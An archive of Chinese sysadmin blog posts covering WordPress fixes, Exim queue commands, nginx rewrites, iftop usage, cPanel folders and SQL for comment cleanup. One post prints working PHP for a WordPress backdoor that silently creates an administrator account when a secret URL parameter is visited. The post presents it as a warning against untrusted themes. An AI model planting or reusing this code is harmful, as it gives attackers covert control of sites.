Monthly Archives: 一月 2016

一月 19th, 2016

这个可以通过修改以下文件中的任何一个即可解决首页包含过多重定向的问题。这两个文件均位于wp_includes文件夹下。

首先,对于canonical.php文件的修改,利用文本编辑器打开该文件,开头注释下面就可以找到如下语句:

function redirect_canonical( $requested_url = null, $do_redirect = true ) {

把true修改为false即可。

 

其次,对于template-loader.php文件,打开之后找到如下代码片段:

if ( defined(‘WP_USE_THEMES’) && WP_USE_THEMES )do_action(‘template_redirect’);

把这段代码删除或者用PHP的注释符号注释掉即可,你可以用“”多行注释来注释掉此段代码。

 

3.循环重定向解决方法三

找到您的当前主题文件夹下的functions.php文件,在最后加上下面一行代码:

1    remove_filter(‘template_redirect’, ‘redirect_canonical’);  

 

4.循环重定向解决方法四

插件办法,下载Permalink Fix & Disable Canonical Redirects Pack安装上就ok。

 

注:一般只要修改第一个文件即可!

一月 16th, 2016

1.统计队列邮件数量

#exim -bpc

2.查看exim队列中所有邮件信息

#exim -bp

3.汇总邮件队列信息

#exim -bp | exiqsumm

4.查看exim服务的当前工作情况

#exiwhat

基于邮件ID的队列操作–ID可以为多个

1.删除邮件

#exim Mrm Message-id [Message-id…]

2.冻结邮件

#exim Mf Message-id [Message-id…]

3.解冻邮件

#exim -Mt Message-id [Message-id…]

4.强制投递邮件

#exim -M Message-id [Message-id…]

5.强制退回邮件

#exim -Mg Message-id [Message-id…]

6.查看邮件头

#exim -Mvh Message-id

7.查看邮件内容

#exim -Mvb Message-id

8.查看邮件日志

#exim -Mvl Message-id

9.新增一个收件人

#exim -Mar Message-id

10.编辑发件人信息

#exim -Mes Message-id

队列邮件ID查找命令—-exiqgrep

1.查看来自指定发件人的所有队列邮件

# exiqgrep -f [发件人]@domain

2.查看发给指定收件人的所有队列邮件

# exiqgrep -r [收件人]@domain

3.查看1天前的队列邮件 (以秒为单位)

# exiqgrep -o 86400

4.查看1小时内的队列邮件 (以秒为单位)

# exiqgrep -y 3600

5.查看700到800字节大小的队列邮件 (支持正则表达式)

# exiqgrep -s '^7..$'

6.其他常用参数:-z 只查看被冻结的队列邮件-i 只显示邮件ID-c 只显示查找到的邮件数量

队列邮件的批量操作

1.删除所有被冻结的邮件

# exiqgrep -z -i | xargs exim –Mrm

2.删除所有5天前的队列邮件

# exiqgrep -o 432000 -i | xargs exim –Mrm

3.冻结所有来自某一发件人的邮件

# exiqgrep -i -f 发件人@zeknet.com | xargs exim -Mf

一月 15th, 2016
 


LNMP环境下,wordpress进入后台后,添加新文章或者进行其他操作时,后台经常提示“No Input File Specified”,

 

原因:路径后面少了一个”/”引起的。(www.abc.com/wp-admin出错,而www.abc.com/wp-admin/ 则正常)

 

解决方法:可以修改LNMP配置的重写规则文件来解决这个问题.

 

修改lnmp下的www.firss.com.conf配置在配置文件最后加上


rewrite /wp-admin$ $scheme://$host$uri/ permanent;


然后重启nginx服务即可

 

 

一月 15th, 2016

在Windows 2003  IIS 下,在PHP扩展里打开openssl支持的方法:

1、将php.ini中;extension=php_openssl.dll前面分号(注释)去掉

2、复制php安装目录中libeay32.dll和ssleay32.dll这2个文件到 C:\windows\system32

3、复制PHP\ext目录中的 php_openssl.dll 至 C:\windows\system32

4、重启服务器即可

注:针对VPS或者独服,共享主机请联系您的主机商询问情况.

一月 15th, 2016

          出于安全因素考虑,在 Windows Server2008 上是不允许从外部对其执行 Ping 指令的.

         如果要配置允许被 Ping 通过以往的设置步骤会发现并不能从 Windows firewall 里找到 ICMP 的相关配置项,而该规则的操作现在必须通过“高级安全 Windows 防火墙” 进行配置。步骤如下:

         打开管理工具中的“高级安全 Windows 防火墙”;在左侧导航窗体中定位到“入站规则”,之后在入站规则中找到配置文件类型为“公共”的“文件和打印共享(回显请求 – ICMPv4-In)”规则,设置为允许。
         注:我们可以根据需要选择在何种网络环境中(域、专用或公共)允许该规则,如果网络使用了IPv6,则同时要允许 ICMPv6-In 的规则。

         此外,我们还可以通过命令行方式来执行入站 Ping 的规则是启用还是禁用,命令行如下:

    netsh firewall set icmpsetting 8
    netsh firewall set icmpsetting 8 disable

一月 15th, 2016
  1. 什么是iftop?

      iftop是linux中一个流量实时监控命令,可以用来实时地监控服务器流量,网卡端口信息,反向解析IP等等一些信息(详解在后面选项中).

      2.iftop源码的安装

先下载iftop的源码.可通过这个地址去下载http://www.ex-parrot.com/pdw/iftop/download/iftop-0.17.tar.gz

wget http://www.ex-parrot.com/pdw/iftop/download/iftop-0.17.tar.gz

tar -zxf  iftop-0.17.tar.gz   //解压

安装源码之前最好检查一下相关依赖包是否已经安装,可以用yum安装一下这些依赖包:

flex byacc libpcap ncurses ncurses-devel libpcap-devel

然后进行源码安装

./configure      //无报错就进行下一步

make&&make install

      3.使用介绍

直接运行iftop这个命令是下面的界面(由于上传不了图片直接填写数据)

                          12.5Kb                    25.0Kb                     37.5Kb                    50.0Kb               62.5Kb
——————————————————————————————————————————-
iZ284mk0gzaZ                                         => 10.202.72.118                                           0b      0b     50b
                                                     <=                                                                                   0b      0b    310b
iZ284mk0gzaZ                                         => 10.202.72.116                                           0b      0b     37b
                                                     <=                                                                                    0b      0b    232b

 

TX:                      cumm       592k     peak:      584b                                                       rates:    0b  0b   44b

RX:                                         443b                    496b                                                                     0b  0b   25b

TOTAL                                 …..

      4.界面说明

<= =>表示流量的流向

TX:发送流量
RX:接收流量
TOTAL:总流量
Cumm:运行iftop到目前时间的总流量
peak:流量峰值
rates:分别表示过去 2s 10s 40s 的平均流量

      5.iftop常用选项说明

-i设定监测的网卡,如:# iftop -i eth1

-B 以bytes为单位显示流量(默认是bits),如:# iftop -B

-n使host信息默认直接都显示IP,如:# iftop -n

-N使端口信息默认直接都显示端口号,如: # iftop -N

-F显示特定网段的进出流量,如# iftop -F 10.10.1.0/24或# iftop -F 10.10.1.0/255.255.255.0

-h(display this message),帮助,显示参数信息

-p使用这个参数后,中间的列表显示的本地主机信息,出现了本机以外的IP信息;

-b使流量图形条默认就显示;

-f这个暂时还不太会用,过滤计算包用的;

-P使host信息及端口信息默认就都显示;

-m设置界面最上边的刻度的最大值,刻度分五个大段显示,例:# iftop -m 100M

     6.在iftop界面的相关操作(区分大小写)

按h切换是否显示帮助;

按n切换显示本机的IP或主机名;

按s切换是否显示本机的host信息;

按d切换是否显示远端目标主机的host信息;

按t切换显示格式为2行/1行/只显示发送流量/只显示接收流量;

按N切换显示端口号或端口服务名称;

按S切换是否显示本机的端口信息;

按D切换是否显示远端目标主机的端口信息;

按p切换是否显示端口信息;

按P切换暂停/继续显示;

按b切换是否显示平均流量图形条;

按B切换计算2秒或10秒或40秒内的平均流量;

按T切换是否显示每个连接的总流量;

按l打开屏幕过滤功能,输入要过滤的字符,比如ip,按回车后,屏幕就只显示这个IP相关的流量信息;

按L切换显示画面上边的刻度;刻度不同,流量图形条会有变化;

按j或按k可以向上或向下滚动屏幕显示的连接记录;

按1或2或3可以根据右侧显示的三列流量数据进行排序;

按<根据左边的本机名或IP排序;

按>根据远端目标主机的主机名或IP排序;

按o切换是否固定只显示当前的连接;

按f可以编辑过滤代码,这是翻译过来的说法,我还没用过这个!

按!可以使用shell命令,这个没用过!没搞明白啥命令在这好用呢!

按q退出监控。

 

 

一月 14th, 2016

出于安全因素考虑,在 Windows Server 2008 上是不允许从外部对其执行 Ping 指令的.
如果要配置允许被 Ping 通过以往的设置步骤会发现并不能从 Windows firewall 里找到 ICMP 的相关配置项,而该规则的操作现在必须通过“高级安全 Windows 防火墙” 进行配置。步骤如下:

打开管理工具中的“高级安全 Windows 防火墙”;
在左侧导航窗体中定位到“入站规则”,之后在入站规则中找到配置文件类型为“公共”的“文件和打印共享(回显请求 – ICMPv4-In)”规则,设置为允许。
注:我们可以根据需要选择在何种网络环境中(域、专用或公共)允许该规则,如果网络使用了IPv6,则同时要允许 ICMPv6-In 的规则。

此外,我们还可以通过命令行方式来执行入站 Ping 的规则是启用还是禁用,命令行如下:

    netsh firewall set icmpsetting 8
    netsh firewall set icmpsetting 8 disable

一月 14th, 2016

登陆cPanel面板后,我们可以通过  ftp或文件管理器 来查看/管理我们的网站文件。但是在产品初次开通时,账户下便已存在了一些文档目录,这些目录究竟是做些什么的呢?下面先看看一个已经建站了的cPanel账户的文件管理器截图

cpanel_folder

上面看到了这么多的网站目录,那么究竟哪些才是我们站长最需要经常接触?哪些是站长们可以删除?哪些是绝对不能删除的呢?下面就来看看这些目录的用途。

cPanel主机内各目录:

public_html 目录: 这是站长建站的时候最需要使用,也是整个cPanel目录系统中最重要的一个目录!这个目录是用来放置主机主域名所对应的网站文件。好比你的主机名称是 abc.com 那么对应的,你就应当将 abc.com 这个网站的文件直接放置在 public_html/目录下面。这里需要注意的是, abc.com 的网站文件(直接可访问的 index.php/index.htm/index.html文件)必须直接放置在这个目录下面。 即,public_html/index.php。

如果你将网页文件放置在了如下目录:public_html/a/index.php,那你就应该用 abc.com/a 来访问你的网站了。
www 目录:站长们在第一次接触cPanel主机目录的时候肯定会对这个目录非常的疑惑,其实可以把他理解为是 public_html/ 目录的快捷方程式。所有放置在 public_html/ 目录下文件都可以在 www/目录下查看到,反之亦然。
mail目录:这个目录是用来放置 mail 邮箱信息。包括邮件的收件箱,发件箱,草稿箱,垃圾箱等。所以,如果你对邮箱内容非常注重,那么就不要轻易删除这个目录了。
public_ftp目录:这个目录对应的是匿名FTP用户登陆所看到的文件夹目录,一般情况下站长用不到这个目录。站长可以通过 ftp账户功能来设置自己FTP用户所对应的目录。
etc目录:这个目录是用来放置账户相关的配置信息的,站长们一般不需要碰触这个目录。
tmp目录:这个目录是用来存放网站缓存文件的,这个目录一般会随着时间的推移而不断的增长。所以对于站长来说,如果你的主机商对文件数量存在限制(当然基本所有主机商都会),那么你就应当定期的清理一下这个目录。
access-log目录:这个目录是用来存放网站访问信息的快捷方式,网站的访问日志可以在原始访问日志中进行下载查看。
.lastlogin目录:一般只会存放上一次登陆者的IP地址。这个信息可以在cPanel左侧的Stats 状态栏中查看。
.开头的目录:这些目录多为cPanel系统的配置文件,站长们一般无须修改。

一月 14th, 2016

 是不是在很多场合听说过后门(Backdoor),特别是一些高科技的电影里面,那些系统或者程序的作者都会通过自己留下的后门来拯救世界。其实 程序的后门留我们根本不远,其实你用的很多软件或者程序都是有后门的,下面给大家演示的一个很简单的案例,就可以给 WordPress 站点留下后门,获取管理员权限,当然这只是一篇教学文章,个人强烈你在使用 WordPress 帮人作网站的时候,千万不要这样做。

<?php
add_action( 'wp_head', 'my_backdoor' );
 
function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'backdoor' ) ) {
            $user_id = wp_create_user( 'backdoor', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}

  比如在主题的 functions.php 文件中添加以上代码,就可以给 WordPress 添加一个能够创建管理员的后门,只需访问 http://www.yoursitename.com/?backdoor=go,然后就创建了一个用户名为“backdoor”,密码 为:“pa55w0rd!” 的管理员。

  如果在把上面这段代码加密一下,很多用户就根本不知道这段代码是做什么的,所以强烈建议大家不要随便去下载一些来路不明的 WordPress 主题和插件,说不定就给你的站点安装了一个后门

一月 14th, 2016

当然,如果只是要删除几条评论或者是其他一些简单的工作,WordPress的一个高效的内置评论管理接口就够了,我们能够方便的在 wordpress控制面板管理一些评论。如是批量删除评论或者其他有关评论的工作我们可以使用几个简单的SQL,能够更快更方便的解决。 在今天的wordpress教程中,我将向你展示一些超级有用的SQL查询来更轻松地管理你的WordPress评论。

  在这之前需要注意

  • 不要忘了在测试下面的任何查询之前先做好数据库的备份。
  • 不要忘记更改默认的表前缀wp_,在使用下面的SQL语句的时候。

  删除所有的垃圾评论

  当你wordpress垃圾评论队列中的数目超过10万条的时候,删除它们使用内置的“删除所有垃圾评论”按钮可能会导致一个PHP内存错误。 为了避免这种情况,只要用这个简单的SQL请求,一次删除所有垃圾评论。

DELETE from wp_comments WHERE comment_approved = 'spam'

  删除两个日期之间的所有评论

  有一个“垃圾评论攻击”在有限的时间内? 下面是一个简单的方法来删除两个日期之间的所有评论。

DELETE FROM wp_comments
WHERE comment_date > '2013-11-15 01:10:04'
AND comment_date <= '2013-11-20 00:10:04'

  删除所有等待审核的评论

  如果您的“待审核的评论”队列中充满了99%的垃圾评论,你不想一个个手动审查他们,这条SQL命令将帮组你立即清除所有等待审核的评论。

DELETE FROM wp_comments WHERE comment_approved = '0'

  立刻禁用所有文章的评论

  要禁用您所有的文章评论? 如果是用WordPress自带评论管理,你将会累死!为什么不利用这个超级简单的SQL查询?

UPDATE wp_posts SET comment_status = 'closed', ping_status = 'closed' WHERE comment_status = 'open'

  停用较老的文章评论

  为了限制垃圾评论,为什么不关闭较老的文章评论? 下面的SQL语句将早于2014年1月1日发表的所有文章自动关闭评论:

UPDATE wp_posts SET comment_status = 'closed' WHERE post_date < '2014-01-01' AND post_status = 'publish'

  当然,你可以根据你自己的需要调整修改相应的时间。

  删除指定评论者URL的评论

  如果你想删除该读者的所有留言,怎么办?这里是一个非常简单的方法来批量删除与特定URL中的所有评论,用一个简单的SQL查询。如果你只是想删除这些网址相关的内容,你可以使用它:

DELETE from wp_comments WHERE comment_author_url LIKE "%www.wpmee.com%" ;

  搜索和替换评论内容

  如果你要替换所有评论特定的词或句子,使用mysql的一个非常方便的SQL查询函数REPLACE即可解决问题。

UPDATE wp_comments SET `comment_content` = REPLACE (`comment_content`, 'OriginalText', 'ReplacedText')

  在全局范围内启用仅注册用户才能评论

  只有注册用户才能参与文章的评论,这样的方法避免了绝大多数的垃圾评论。

UPDATE wp_posts SET comment_status = 'registered_only'

  好了,教程就到这儿,不知道对你有用没呢?这些大多数都是一些简单的SQL查询语句,最后提醒,操作数据库一定要小心,操作之前请备份。